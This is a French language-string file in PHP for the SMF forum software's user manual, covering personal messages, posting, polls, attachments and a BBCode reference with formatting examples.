$txt['manual_pm_msg_link_part1'] = 'Vous pouvez suivre le lien qui dit quelque chose comme \'Bienvenue, [votre pseudo], vous avez ';
$txt['manual_pm_msg_link_link_interface'] = 'x messages';
$txt['manual_pm_msg_link_part2'] = ', x sont nouveaux\', puis cliquez sur le bouton <strong>Nouveau Message</strong> dans votre bo&icirc;te de r&eacute;ception.';
$txt['manual_pm_click_name_part1'] = 'Vous pouvez cliquer sur le pseudo d\'un autre membre, suivi de <strong>Envoyer &agrave; ce membre un message personnel</strong> &agrave; partir de son ';
$txt['manual_pm_click_name_link_profile_info-all'] = 'profil';
$txt['manual_pm_click_name_part2'] = ' &eacute;cran de r&eacute;sum&eacute;.';
$txt['manual_pm_click_im_icon'] = 'Vous pouvez commencer un nouveau message en cliquant directement sur l\'ic&ocirc;ne <strong>IM En Ligne/Hors Ligne</strong> &agrave; partir des infos utilisateur qui accompagnent tous ses messages.';
$txt['manual_pm_click_pm_icon_part1'] = 'Vous pouvez commencer un nouveau message en cliquant directement sur l\'ic&ocirc;ne <strong>PM En Ligne/Hors Ligne</strong> montrant l\'<strong>Etat Actuel</strong> du membre. ';
$txt['manual_pm_click_pm_icon_link_profile_info-all'] = 'profil';
$txt['manual_pm_click_pm_icon_part2'] = ' &eacute;cran de r&eacute;sum&eacute;. (Cet ic&ocirc;ne/lien est souvent dupliqu&eacute; dans les infos utilisateurs d&eacute;crites au-dessus.)';

$txt['manual_pm_reply_msg_part1'] = 'R&eacute;pondre &agrave; un message est tr&egrave;s similaire &agrave; ';
$txt['manual_pm_reply_msg_link_posting_reply'] = 'r&eacute;pondre &agrave; un sujet';
$txt['manual_pm_reply_msg_part2'] = '.';
$txt['manual_pm_messages'] = 'Messages';

// Entries for template: posting.
$txt['manual_posting_forum_about_part1'] = 'Puisque l\'envoi de messages est la raison basique de l\'existence des forums, nous allons passer un peu de temps &agrave; regarder les diff&eacute;rentes options et techniques disponibles. Ceux d\'entre vous qui sont familiers avec les scripts de forum, l\'HTML et les codes forum (BBCodes) pr&eacute;f&eacute;reront peut-&ecirc;tre aller directement aux sections ';
$txt['manual_posting_forum_about_link_bbcref'] = 'Codes forum (BBCodes)';
$txt['manual_posting_forum_about_part2'] = ' et ';
$txt['manual_posting_forum_about_link_bbcref_smileysref'] = '&eacute;motic&ocirc;nes';
$txt['manual_posting_forum_about_part3'] = ' r&eacute;f&eacute;rences.';
$txt['manual_posting_please_note'] = '<strong>Veuillez noter que parce qu\'un forum SMF peut &ecirc;tre hautement personnalis&eacute; par ses administrateurs, la pr&eacute;sence d\'une fonction dans ce document ne veut pas garantir sa disponibilit&eacute; dans tous les forums SMF que vous visitez et pour tous les utilisateurs.</strong>';
$txt['manual_posting_sec_posting_basics'] = 'Les Bases du Postage';
$txt['manual_posting_starting_topic'] = 'Commencer un Nouveau Sujet';
$txt['manual_posting_starting_topic_desc_part1'] = 'Naviguez &agrave; travers le forum jusqu\'&agrave; la section dans laquelle vous voulez cr&eacute;er un nouveau sujet de discussion et cliquez sur le bouton <strong>Nouveau Sujet</strong> (positionn&eacute; par d&eacute;faut en haut et en bas du forum, tel que montr&eacute; dans l\' ';
$txt['manual_posting_starting_topic_desc_link_index_message'] = 'Introduction de l\'aide &agrave; l\'utilisateur';
$txt['manual_posting_starting_topic_desc_part2'] = '), ce qui devrait vous amener &agrave; l\'&eacute;cran <strong>Commencer un nouveau sujet</strong>. Bien que plusieurs options y sont affich&eacute;es, les deux plus importantes sont le champ <strong>Sujet</strong> et la zone de texte principale <strong>Message</strong> (qui n\'est pas identifi&eacute;e de la sorte, mais vu sa taille, on en devine la fonction). Donc entrez le titre de votre nouveau sujet, et, dans la zone de texte r&eacute;serv&eacute;e au message, tapez-y votre message (ou copiez/collez-le), notez que aucun sujet sans titre ou message ne sera valid&eacute; avant d\'avoir ces deux champs remplis. Si vous &ecirc;tes satisfait de votre message en texte simple seulement, vous pouvez cliquer sur le bouton <strong>Message</strong> et/ou le pr&eacute;visualiser d\'abord en cliquant sur le bouton <strong>Pr&eacute;visualiser</strong> , mais il y a plusieurs ';
$txt['manual_posting_starting_topic_desc_link_index_message_standard'] = 'options';
$txt['manual_posting_starting_topic_desc_part3'] = ' disponibles pour faire des choses plus int&eacute;ressantes.';
$txt['manual_posting_forum_name'] = 'Nom du Forum';
$txt['manual_posting_cat_name'] = 'Nom de la Cat&eacute;gorie';
$txt['manual_posting_board_name'] = 'Nom de la Section';
$txt['manual_posting_start_topic'] = 'Nouveau Sujet';
$txt['manual_posting_std_options'] = 'Options Standard';
$txt['manual_posting_add_options'] = 'Options Additionnelles ';
$txt['manual_posting_omit_clarity'] = 'omises pour des raisons de clart&eacute; et d&eacute;crites ci-dessous.';
$txt['manual_posting_subject'] = 'Titre';
$txt['manual_posting_shortcuts'] = 'Raccourcis: taper alt+s pour Poster ou alt+p pour pr&eacute;visualiser';
$txt['manual_posting_posts'] = 'Message';
$txt['manual_posting_preview'] = 'Pr&eacute;visualiser';
$txt['manual_posting_nav_tree'] = 'Certains forums affichent l\'<strong>arborescence de navigation</strong> en haut en une ligne horizontale &eacute;conomisant l\'espace.';
$txt['manual_posting_spell_check'] = 'Certains forums peuvent &ecirc;tre configur&eacute;s de telle sorte qu\'un bouton additionnel <strong>V&eacute;rificateur orthographique</strong> accompagne les options <strong>Message</strong> et <strong>Pr&eacute;visualiser</strong>.';
$txt['manual_posting_start_poll'] = 'D&eacute;marrer un Nouveau Sondage';
$txt['manual_posting_poll_desc_part1'] = 'Un sondage est &agrave; la base un sujet auquel une question et des options de votes ont &eacute;t&eacute; ajout&eacute;es, d&eacute;marr&eacute; en cliquant sur <strong>Nouveau Sondage</strong> plut&ocirc;t que <strong>Nouveau Sujet</strong> ';
$txt['manual_posting_poll_desc_link_newtopic'] = 'comme d&eacute;crit plus haut';
$txt['manual_posting_poll_desc_part2'] = '. Pour poster un sondage, il est n&eacute;cessaire de renseigner un champ  <strong>Question</strong> et au moins deux des champs <strong>Option X</strong> en plus du <strong>Titre</strong> et du <strong>Message</strong> requis par un sujet standard. D\'autres options pour configurer le nombre de choix qu\'un utilisateur peut entrer, combien de temps le vote doit durer, et les conditions requises pour voter et afficher les r&eacute;sultats s\'expliquent d\'elles-m&ecirc;mes.';
$txt['manual_posting_poll_options'] = 'Pour offrir plus de 5 choix dans un sondage, cliquez simplement sur le lien <strong>(Ajouter une Option)</strong> autant de fois que n&eacute;cessaire.';
$txt['manual_posting_poll_note'] = 'Notez qu\'il peut &ecirc;tre possible que certains utilisateurs dans certains forums puissent ajouter un sondage &agrave; un sujet existant.';
$txt['manual_posting_post_event'] = 'Poster un &eacute;v&eacute;nement dans le Calendrier';
$txt['manual_posting_event_desc_part1'] = 'Lorsque cette option a &eacute;t&eacute; configur&eacute;e elle n\'est pas activ&eacute;e par d&eacute;faut), vous pouvez poster un &eacute;v&eacute;nement en s&eacute;lectionnant le <strong>Calendrier</strong> depuis le ';
$txt['manual_posting_event_desc_link_index_main'] = 'menu principal';
$txt['manual_posting_event_desc_part2'] = ' suivi par <strong>Poster un &eacute;v&eacute;nement</strong> &agrave; partir de l\'&eacute;cran du calendrier. Ce que vous voyez alors est le m&ecirc;me &eacute;cran que <strong>Commencer un nouveau sujet</strong> avec des champs suppl&eacute;mentaires pour le titre de l\'&eacute;v&eacute;nement, la date et la section dans laquelle poster l\'&eacute;v&eacute;nement, ce qui ajoute simplement votre &eacute;v&eacute;nement au calendrier et cr&eacute;e un lien vers votre message dans votre sujet.';
$txt['manual_posting_replying'] = 'R&eacute;pondre &agrave; un Sujet ou un Sondage';
$txt['manual_posting_replying_desc_part1'] = 'R&eacute;pondre &agrave; un sujet ou &agrave; un sondage est quasiment la m&ecirc;me chose que de ';
$txt['manual_posting_replying_desc_link_newtopic'] = 'commencer un nouveau sujet';
$txt['manual_posting_replying_desc_part2'] = ', il n\'est pas n&eacute;cessaire d\'entrer quelque chose dans le champ  <strong>Titre</strong> &agrave; moins que vous d&eacute;siriez changer celui d&eacute;ja pr&eacute;sent. Pour voter dans un sondage, vous n\'avez qu`\'&agrave; choisir la ou les options de votre choix et cliquer sur le bouton <strong>Soumettre le vote</strong>.';
$txt['manual_posting_quick_reply_part1'] = 'Si la \'R&eacute;ponse Rapide\' a &eacute;t&eacute; activ&eacute;e, une simple zone de texte r&eacute;ponse apparaitra aussi apr&egrave;s le message, en bas de la page, mais vous aurez &agrave; taper votre ';
$txt['manual_posting_quick_reply_link_bbc'] = 'BBCode)';
$txt['manual_posting_quick_reply_part2'] = ' et vos ';
$txt['manual_posting_quick_reply_link_bbc_smileys'] = '&eacute;motic&ocirc;nes';
$txt['manual_posting_quick_reply_part3'] = ' manuellement si vous choisissez de les utiliser.';
$txt['manual_posting_quote_post'] = 'Citer un Message';
$txt['manual_posting_quote_desc'] = 'Pour r&eacute;pondre &agrave; un message en le citant, vous pouvez au choix cliquer sur le bouton <strong>Citer</strong> pour le message concern&eacute; et ajouter votre propre message au texte cit&eacute; ou cliquer sur le bouton <strong>R&eacute;pondre</strong> puis sur <strong>Citer ce message</strong> &agrave; partir du message concern&eacute; dans le \'Sommaire du Sujet\' au-dessous, mais il faut noter que:';
$txt['manual_posting_quote_both_part1'] = 'ces deux options cr&eacute;ent un lien vers le message original de l\'auteur, avec son pseudonyme et la date et l\'heure de l\'envoi du message, tandis que la balise ';
$txt['manual_posting_quote_both_link_bbc'] = 'BBCode';
$txt['manual_posting_quote_both_part2'] = ' <strong>Citer</strong> ne citera que le message concern&eacute;, sans aucune information additionnelle.';
$txt['manual_posting_quote_independant_part1'] = 'Vous pouvez ausi garder ou ajouter le nom de l\'auteur\' ind&eacute;pendamment de la fonction compl&egrave;te <strong>Citer</strong> , comme c\'est indiqu&eacute; dans le ';
$txt['manual_posting_quote_independant_link_bbcref'] = 'Code forum (BBCode) SMF de r&eacute;f&eacute;rence';
$txt['manual_posting_quote_independant_part2'] = ' au dessous.';
$txt['manual_posting_modify_delete'] = 'Modifier ou Effacer un Message';
$txt['manual_posting_modify_desc'] = 'Pour modifier un message, cliquez sur le bouton <strong>Modifier</strong> et effectuez vos modifications. Veuillez noter que la plupart des forums sont configur&eacute;s de telle sorte que l\'auteur et la derni&egrave;re date de modification du message sont affich&eacute;s, mais les administrateurs peuvent allouer une courte p&eacute;riode de temporisation avant que cela ne se produise.';
$txt['manual_posting_delete_desc'] = 'Pour supprimer un message, cliquez sur le bouton <strong>Effacer</strong> puis sur <strong>OK</strong> &agrave; partir de la boite de dialogue <strong>Supprimer ce message&nbsp;?</strong> qui appara&icirc;t. Certains forums sont configur&eacute;s de telle sorte que vous pouvez effacer les sujets et les sondages que vous avez commenc&eacute;s, ces options sont habituellement en haut et en bas de page.';
$txt['manual_posting_sec_posting_options'] = 'Options Standards de Postage';
$txt['manual_posting_msg_icon'] = 'Ic&ocirc;ne du message';
$txt['manual_posting_standard_icon'] = 'Standard';
$txt['manual_posting_thumb_up_icon'] = 'Pouce en haut';
$txt['manual_posting_thumb_down_icon'] = 'Pouce en bas';
$txt['manual_posting_exc_pt_icon'] = 'Point d\'exclamation';
$txt['manual_posting_q_mark_icon'] = 'Point d\'interrogation';
$txt['manual_posting_lamp_icon'] = 'Lampe';
$txt['manual_posting_smiley_icon'] = 'Sourire';
$txt['manual_posting_angry_icon'] = 'F&acirc;ch&eacute;';
$txt['manual_posting_cheesy_icon'] = 'Souriant';
$txt['manual_posting_grin_icon'] = 'Grima&ccedil;ant';
$txt['manual_posting_sad_icon'] = 'Triste';
$txt['manual_posting_wink_icon'] = 'Clin d\'oeil';
$txt['manual_posting_bold_example'] = 'Gras';
$txt['manual_posting_italicize_example'] = 'Italique';
$txt['manual_posting_underline_example'] = 'Soulign&eacute;';
$txt['manual_posting_strike_example'] = 'Barr&eacute;';
$txt['manual_posting_glow_example'] = 'Surbrillance';
$txt['manual_posting_shadow_example'] = 'Ombr&eacute;';
$txt['manual_posting_move_example'] = 'Mouvement';
$txt['manual_posting_pre_example'] = 'Texte pr&eacute;format&eacute;';
$txt['manual_posting_left_example'] = 'Align&eacute; &agrave; gauche';
$txt['manual_posting_center_example'] = 'Centr&eacute;';
$txt['manual_posting_right_example'] = 'Align&eacute; &agrave; droite';
$txt['manual_posting_hr_example'] = 'R&egrave;gle horizontale';
$txt['manual_posting_size_example'] = 'Taille du texte';
$txt['manual_posting_face_example'] = 'Police du texte';
$txt['manual_posting_flash_example'] = 'Ins&eacute;rer une animation Flash';
$txt['manual_posting_img_example'] = 'Ins&eacute;rer une image';
$txt['manual_posting_url_example'] = 'Ins&eacute;rer un hyperlien';
$txt['manual_posting_email_example'] = 'Ins&eacute;rer une adresse courriel';
$txt['manual_posting_ftp_example'] = 'Ins&eacute;rer un lien FTP';
$txt['manual_posting_table_example'] = 'Ins&eacute;rer un tableau';
$txt['manual_posting_tr_example'] = 'Ins&eacute;rer une ligne de tableau';
$txt['manual_posting_td_example'] = 'Ins&eacute;rer une colonne de tableau';
$txt['manual_posting_sup_example'] = 'Exposant';
$txt['manual_posting_sub_example'] = 'Indice';
$txt['manual_posting_tele_example'] = 'T&eacute;l&eacute;typ&eacute;';
$txt['manual_posting_code_example'] = 'Ins&eacute;rer du code';
$txt['manual_posting_quote_example'] = 'Ins&eacute;rer une citation';
$txt['manual_posting_list_example'] = 'Ins&eacute;rer une liste';
$txt['manual_posting_Change_Color'] = 'Changer la couleur';
$txt['manual_posting_color_black'] = 'Noir';
$txt['manual_posting_color_red'] = 'Rouge';
$txt['manual_posting_color_yellow'] = 'Jaune';
$txt['manual_posting_color_pink'] = 'Rose';
$txt['manual_posting_color_green'] = 'Vert';
$txt['manual_posting_color_orange'] = 'Orange';
$txt['manual_posting_color_purple'] = 'Violet';
$txt['manual_posting_color_blue'] = 'Bleu';
$txt['manual_posting_color_beige'] = 'Beige';
$txt['manual_posting_color_brown'] = 'Brun';
$txt['manual_posting_color_teal'] = 'Turquoise';
$txt['manual_posting_color_navy'] = 'Bleu-marine';
$txt['manual_posting_color_maroon'] = 'Marron';
$txt['manual_posting_color_lime'] = 'Vert de chaux';
$txt['manual_posting_smiley_code'] = 'Sourire';
$txt['manual_posting_wink_code'] = 'Clin d\'oeil';
$txt['manual_posting_cheesy_code'] = 'Souriant';
$txt['manual_posting_grin_code'] = 'Grima&ccedil;ant';
$txt['manual_posting_angry_code'] = 'F&acirc;ch&eacute;';
$txt['manual_posting_sad_code'] = 'Triste';
$txt['manual_posting_shocked_code'] = 'Choqu&eacute;';
$txt['manual_posting_cool_code'] = 'Cool';
$txt['manual_posting_huh_code'] = 'Huh';
$txt['manual_posting_rolleyes_code'] = 'Sarcastique';
$txt['manual_posting_tongue_code'] = 'Langue';
$txt['manual_posting_embarrassed_code'] = 'Embarrass&eacute;';
$txt['manual_posting_lipsrsealed_code'] = 'L&egrave;vres scell&eacute;es';
$txt['manual_posting_undecided_code'] = 'Ind&eacute;cis';
$txt['manual_posting_kiss_code'] = 'Bisous';
$txt['manual_posting_cry_code'] = 'Pleurs';
$txt['manual_posting_sub_message_icon'] = 'Ic&ocirc;ne de Message';
$txt['manual_posting_msg_icon_dropdown'] = 'Ce menu d&eacute;roulant vous permet de changer l\'ic&ocirc;ne par d&eacute;faut au niveau du titre du sujet pour imager le sens de votre message.';
$txt['manual_posting_sub_bbc'] = 'Codes Forum (BBCodes)';
$txt['manual_posting_bbc_desc'] = 'Les Codes Forum (Bulletin Board Code, ou  BBCodes) sont les outils essentiels pour formater et changer l\'apparence de votre message. Bien que cela affecte le texte entier comme la plupart des outils de formatage de n\'importe quel &eacute;diteur de texte, Le champ principal du <strong>Message</strong> n\'agit pas de la m&ecirc;me mani&egrave;re qu\'un &eacute;diteur WYSIWYG, donc vous devrez pr&eacute;visualiser votre message si vous d&eacute;sirez voir &agrave; quoi il ressemble avant de le poster.';
$txt['manual_posting_bbc_ref_part1'] = 'Une liste compl&egrave;te des ';
$txt['manual_posting_bbc_ref_link_bbcref'] = 'BBCodes pour SMF';
$txt['manual_posting_bbc_ref_part2'] = ' est fournie ci-dessous.';
$txt['manual_posting_sub_smileys'] = '&eacute;motic&ocirc;nes';
$txt['manual_posting_smiley_desc_part1'] = 'Si les &eacute;motic&ocirc;nes peuvent &ecirc;tre vus comme purement enfantins, ils peuvent aussi jouer un r&ocirc;le primordial afin de clarifier l\'humeur du texte de la m&ecirc;me fa&ccedil;on qu\'une inflexion de la voix ou une expression du visage dans une conversation vocale. Comme la plupart des scripts de forum, SMF inclut par d&eacute;faut une s&eacute;lection d\'images-&eacute;motic&ocirc;nes qui peuvent &ecirc;tre ajout&eacute;es au message en tapant correctement son code. Une option ';
$txt['manual_posting_smiley_desc_link_nosmileys'] = 'Ne pas utiliser d`\'&eacute;motic&ocirc;nes';
$txt['manual_posting_smiley_desc_part2'] = ' est naturellement accessible pour les fois o&ugrave; vous tapez du texte qui ne doit pas &ecirc;tre interpr&eacute;t&eacute; comme un &eacute;motic&ocirc;ne&nbsp;!';
$txt['manual_posting_smiley_ref_part1'] = 'Une liste compl&egrave;te des ';
$txt['manual_posting_smiley_ref_link_smileysref'] = '&eacute;motic&ocirc;nes pour SMF';
$txt['manual_posting_smiley_ref_part2'] = ' est fournie ci-dessous.';
$txt['manual_posting_sec_tags'] = 'Balises et Embo&icirc;tements (pour d&eacute;butants)';
$txt['manual_posting_tags_desc_part1'] = 'Avant de lister les ';
$txt['manual_posting_tags_desc_link_bbcref'] = 'boutons BBCodes';
$txt['manual_posting_tags_desc_part2'] = ' disponibles et leur fonction, voyons comment cela fonctionne en imaginant que nous d&eacute;sirons poster du texte en caract&egrave;re gras. Nous pouvons alors commencer en cliquant sur le bouton <strong>B</strong> (Bold) et taper notre texte entre les balises ainsi cr&eacute;&eacute;es, il est souvent plus pratique de taper le texte d\'abord, de le souligner et de cliquer sur le bouton. Donc, &eacute;crire \'texte\', le surligner et cliquer ensuite sur le bouton \'<action>B</action>\' devrait produire \'[b]texte[/b]\', qui donnera <b>texte</b> lorsqu\'il sera post&eacute; ou pr&eacute;visualis&eacute;. (NB cela ne marchera pas sous Opera, qui lui, ins&egrave;re les balises &agrave; la fin du message.) De m&ecirc;me, il est encore possible de s&eacute;lectionner \'[b]texte[/b]\' et ce cliquer sur le bouton <strong>I</strong> (Italique) qui produira alors \'[i][b]texte[/b][/i]\', qui ne rendra pas seulement <i><b>texte</b></i> lorsqu\'il sera post&eacute; ou pr&eacute;visualis&eacute; mais aussi introduit le concept d\'embo&icirc;tement, qui signifie qu\'il faut voir les balises comme des \'bo&icirc;tes\' incluses l\'une dans l\'autre, contenant et le texte original<em>et</em> et les autres balises d&eacute;j&agrave; appliqu&eacute;es &agrave; ce texte.';
$txt['manual_posting_note_tags'] = 'Notez que les BBCodes peuvent aussi &ecirc;tres tap&eacute;s manuellement directement dans la zone de texte plut&ocirc;t qu\'en cliquant sur les boutons.';
$txt['manual_posting_sec_additional_options'] = 'Options Suppl&eacute;mentaires';
$txt['manual_posting_sec_additional_options_desc'] = 'Les options suivantes peuvent appara&icirc;tre par d&eacute;faut sur certains forums, sur d\'autres elles seront dans un panneau &agrave; d&eacute;velopper/r&eacute;tracter (essayez en cliquant sur le lien pr&eacute;c&eacute;d&eacute; de la fl&egrave;che ci-dessous&nbsp;:';
$txt['manual_posting_notify'] = 'Avisez-moi des r&eacute;ponses.';
$txt['manual_posting_return'] = 'Retourner au sujet.';
$txt['manual_posting_no_smiley'] = 'Ne pas utiliser les &eacute;motic&ocirc;nes.';
$txt['manual_posting_attach'] = 'Joindre';
$txt['manual_posting_allowed_types'] = 'Types de fichiers autoris&eacute;s: txt, jpg, gif, pdf, mpg, png';
$txt['manual_posting_max_size'] = 'Taille max.autoris&eacute;e du fichier joint: 128 KB';
$txt['manual_posting_sub_notify'] = 'M\'aviser des r&eacute;ponses';
$txt['manual_posting_notify_desc'] = 'Cochez cette option pour vous inscrire &agrave; une notification par courriel pour les r&eacute;ponses &agrave; ce sujet.';
$txt['manual_posting_sub_return'] = 'Retourner au sujet';
$txt['manual_posting_return_desc'] = 'Cochez cette option pour retourner au sujet (Plut&ocirc;t qu\'&agrave; l\'index des messages de la section) apr&egrave;s avoir post&eacute; votre message (NB vous pouvez r&eacute;gler cette pr&eacute;f&eacute;rence dans votre profil).';
$txt['manual_posting_sub_no_smiley'] = 'Ne pas utiliser d\'&eacute;motic&ocirc;nes';
$txt['manual_posting_no_smiley_desc_part1'] = 'Cochez cette case pour &eacute;viter que certaines ';
$txt['manual_posting_no_smiley_desc_link_smileysref'] = 'combinations de caract&egrave;res';
$txt['manual_posting_no_smiley_desc_part2'] = ' dans votre message soient convertis en &eacute;motic&ocirc;nes.';
$txt['manual_posting_sub_attach'] = 'Fichiers joints';
$txt['manual_posting_attach_desc_part1'] = 'Si activ&eacute;e, cette option vous permet de joindre des fichiers &agrave; votre message, &agrave; peu pr&egrave;s de la m&ecirc;me fa&ccedil;on que la plupart des clients courriel, Vous n\'avez qu\'&agrave; parcourir votre ordinateur pour s&eacute;lectionner les fichiers &agrave; joindre avant de cliquer sur le bouton <strong>Message</strong>. Vous pouvez supprimer vos fichiers joints ou en ajouter d\'autres en ';
$txt['manual_posting_attach_desc_link_modify'] = 'modifiant votre message';
$txt['manual_posting_attach_desc_part2'] = ', mais veuillez aussi noter que:';
$txt['manual_posting_attach_desc2'] = 'les types de fichiers autoris&eacute;s ainsi que leur taille sont r&eacute;gl&eacute;s par les administrateurs.';
$txt['manual_posting_most_forums_attach'] = 'Bien que la plupart des forums sont configur&eacute;s de telle sorte que les images jointes sont affich&eacute;es comme faisant partie du message, il n\'est pas possible de <em>pr&eacute;visualiser</em> les fichiers joints donc vous devrez toujours parcourir et joindre vos fichiers avant de <em>poster</em> votre message.';
$txt['manual_posting_sec_references'] = 'R&eacute;f&eacute;rences';
$txt['manual_posting_sub_SMF_bbc'] = 'BBCodes pour SMF';
$txt['manual_posting_sub_smf_bbc_desc'] = 'Les boutons affich&eacute;s ci-dessous sont tir&eacute;s du jeu par d&eacute;faut de SMF et peuvent diff&eacute;rer d\'un forum &agrave; l\'autre et d\'un th&egrave;me &agrave; l\'autre.';
$txt['manual_posting_header_name'] = 'Nom de la balise';
$txt['manual_posting_header_button'] = 'Bouton';
$txt['manual_posting_header_code'] = 'Code';
$txt['manual_posting_header_output'] = 'Aper&ccedil;u';
$txt['manual_posting_header_comments'] = 'Commentaires';
$txt['manual_posting_bbc_bold'] = 'Gras';
$txt['manual_posting_bold_code'] = '[b]gras[/b]';
$txt['manual_posting_bold_output'] = 'gras';
$txt['manual_posting_bold_comment'] = '*';
$txt['manual_posting_bbc_italic'] = 'Italique';
$txt['manual_posting_italic_code'] = '[i]italique[/i]';
$txt['manual_posting_italic_output'] = 'italique';
$txt['manual_posting_italic_comment'] = '*';
$txt['manual_posting_bbc_underline'] = 'Soulign&eacute;';
$txt['manual_posting_underline_code'] = '[u]soulign&eacute;[/u]';
$txt['manual_posting_underline_output'] = 'soulign&eacute;';
$txt['manual_posting_underline_comment'] = '*';
$txt['manual_posting_bbc_strike'] = 'Barr&eacute;';
$txt['manual_posting_strike_code'] = '[s]barr&eacute;[/s]';
$txt['manual_posting_strike_output'] = 'barr&eacute;';
$txt['manual_posting_strike_comment'] = '*';
$txt['manual_posting_bbc_glow'] = 'Surbrillance';
$txt['manual_posting_glow_code'] = '[glow=red,2,50]surbrillance[/glow]';
$txt['manual_posting_glow_output'] = 'surbrillance';
$txt['manual_posting_glow_comment'] = 'Les trois valeurs (ex red, 2, 50) de la balise \'surbrillance\' sont respectivement la couleur, la force et la taille.';
$txt['manual_posting_bbc_shadow'] = 'Ombr&eacute;';
$txt['manual_posting_shadow_code'] = '[shadow=red,left]<br />ombr&eacute;<br />[/shadow]';
$txt['manual_posting_shadow_output'] = 'ombr&eacute;';
$txt['manual_posting_shadow_comment'] = 'Les deux valeurs (ex rouge, gauche) de la balise \'ombr&eacute;\' sont respectivement la couleur et la direction.';
$txt['manual_posting_bbc_move'] = 'Mouvement';
$txt['manual_posting_move_code'] = '[move]mouvement[/move]';
$txt['manual_posting_move_output'] = 'mouvement';
$txt['manual_posting_move_comment'] = 'Ce n\'est pas un XHTML valide, mais il peut &ecirc;tre aussi utilis&eacute; pour les images&nbsp;!';
$txt['manual_posting_bbc_pre'] = 'Texte pr&eacute;format&eacute;';
$txt['manual_posting_pre_comment'] = 'Pr&eacute;serve le formatage du texte important, obtenu dans une police monospace.';
$txt['manual_posting_bbc_left'] = 'Align&eacute; &agrave; gauche';
$txt['manual_posting_left_code'] = '[left]align&eacute; &agrave; gauche[/left]';
$txt['manual_posting_left_output'] = 'align&eacute; &agrave; gauche';
$txt['manual_posting_left_comment'] = '*';
$txt['manual_posting_bbc_centered'] = 'Centr&eacute;';
$txt['manual_posting_centered_code'] = '[center]centr&eacute;[/center]';
$txt['manual_posting_centered_output'] = 'centr&eacute;';

$txt['manual_posting_centered_comment'] = '*';
$txt['manual_posting_bbc_right'] = 'Align&eacute; &agrave; droite';
$txt['manual_posting_right_code'] = '[right]align&eacute; &agrave; droite[/right]';
$txt['manual_posting_right_output'] = 'align&eacute; &agrave; droite';
$txt['manual_posting_right_comment'] = '*';
$txt['manual_posting_bbc_rtl'] = 'De droite &agrave; gauche';
$txt['manual_posting_rtl_code'] = '[rtl]de droite &agrave; gauche&nbsp;![/rtl]';
$txt['manual_posting_rtl_output'] = 'de droite &agrave; gauche&nbsp;!';
$txt['manual_posting_rtl_comment'] = 'L\'usage typique pourrait &ecirc;tre pour poster un message en Arabe ou en H&eacute;breu dans un document en Francais.';
$txt['manual_posting_bbc_ltr'] = 'De gauche &agrave; droite';
$txt['manual_posting_ltr_code'] = '[ltr]de gauche &agrave; droite&nbsp;![/ltr]';
$txt['manual_posting_ltr_output'] = 'de gauche &agrave; droite&nbsp;!';
$txt['manual_posting_ltr_comment'] = 'L\'usage typique pourrait &ecirc;tre pour poster un message en Francais dans un document en Arabe ou en H&eacute;breu.';
$txt['manual_posting_bbc_hr'] = 'R&egrave;gle horizontale';
$txt['manual_posting_hr_code'] = '[hr]';
$txt['manual_posting_hr_comment'] = '*';
$txt['manual_posting_bbc_size'] = 'Taille de la police';
$txt['manual_posting_size_code'] = '[size=10pt]taille de la police[/size]';
$txt['manual_posting_size_output'] = 'taille de la police';
$txt['manual_posting_size_comment'] = '*';
$txt['manual_posting_bbc_font'] = 'Type de police';
$txt['manual_posting_font_code'] = '[font=Verdana]type de police[/font]';
$txt['manual_posting_font_output'] = 'type de police';
$txt['manual_posting_font_comment'] = 'Seul les polices install&eacute;s sur l\'ordinateur de l\'utilisateur seront affich&eacute;es, donc &agrave; utiliser avec pr&eacute;caution&nbsp;!';
$txt['manual_posting_bbc_color'] = 'Couleur de la police';
$txt['manual_posting_color_code'] = '[color=Red]rouge[/color]';
$txt['manual_posting_color_output'] = 'rouge';
$txt['manual_posting_color_comment'] = 'S&eacute;lectionner la couleur dans le menu d&eacute;roulant.';
$txt['manual_posting_bbc_flash'] = 'Ins&eacute;rer animation Flash';
$txt['manual_posting_flash_code'] = '[flash=200,200]<br />http://unsite/unfichier.swf<br />[/flash]';
$txt['manual_posting_flash_output'] = 'http://unsite/unfichier.swf';
$txt['manual_posting_flash_comment'] = 'Veuillez noter que, si le flash inclus dans le forum a &eacute;t&eacute; d&eacute;sactiv&eacute; par les administrateurs, le fichier flash apparaitra comme l\'hyperlien montr&eacute; ici. Les deux valeurs dans la balise \'flash\' (qui seront appropri&eacute;es) sont respectivement la largeur et la taille.';
$txt['manual_posting_bbc_img'] = 'Ins&eacute;rer une Image';
$txt['manual_posting_img_top_code'] = '[img]<br />http://unsite/image.gif<br />[/img]';
$txt['manual_posting_img_top_comment'] = 'Tapez les valeurs de largeur et de taille pour redimensionner l\'image.';
$txt['manual_posting_img_bottom_code'] = '[img width=48 height=48]<br />http://unsite/image.gif<br />[/img]';
$txt['manual_posting_bbc_url'] = 'Ins&eacute;rer un Hyperlien';
$txt['manual_posting_url_code'] = '[url]http://unsite/[/url]';
$txt['manual_posting_url_output'] = 'http://unsite/';
$txt['manual_posting_url_comment'] = 'NB la balise \'url\' ouvre une nouvelle fen&ecirc;tre, mais vous pouvez vous servir des balises \'iurl\' pour que ca s\'ouvre dans la m&ecirc;me fen&ecirc;tre.';
$txt['manual_posting_url_bottom_code'] = '[url=http://unsite/]<br />Lien descriptif<br />[/url]';
$txt['manual_posting_url_bottom_output'] = 'lien descriptif';
$txt['manual_posting_bbc_email'] = 'Ins&eacute;rer Courriel';
$txt['manual_posting_email_code'] = '[email]<br />quelqu\'un@unsite<br />[/email]';
$txt['manual_posting_email_output'] = 'quelqu\'un@unsite';
$txt['manual_posting_email_comment'] = '*';
$txt['manual_posting_bbc_ftp'] = 'Ins&eacute;rer un lien FTP';
$txt['manual_posting_ftp_code'] = '[ftp]<br />ftp://unsite/unfichier<br />[/ftp]';
$txt['manual_posting_ftp_output'] = 'ftp://unsite/unfichier';

$txt['manual_posting_ftp_comment'] = '*';
$txt['manual_posting_ftp_bottom_code'] = '[ftp=ftp://unsite/unfichier]<br />Lien descriptif<br />[/ftp]';
$txt['manual_posting_ftp_bottom_output'] = 'Lien descriptif';
$txt['manual_posting_bbc_table'] = 'Ins&eacute;rer un tableau';
$txt['manual_posting_table_code'] = '[table][/table]';
$txt['manual_posting_table_comment'] = 'Aucun aper&ccedil;u significatif pour les balises \'tableau\ seules.';
$txt['manual_posting_bbc_row'] = 'Ins&eacute;rer une ligne au tableau';
$txt['manual_posting_row_code'] = '[table][tr][/tr][/table]';
$txt['manual_posting_row_comment'] = 'Aucun aper&ccedil;u significatif pour les balises \'tableau\' et \'tr\' seules.';
$txt['manual_posting_bbc_column'] = 'Ins&eacute;rer une colonne au tableau';
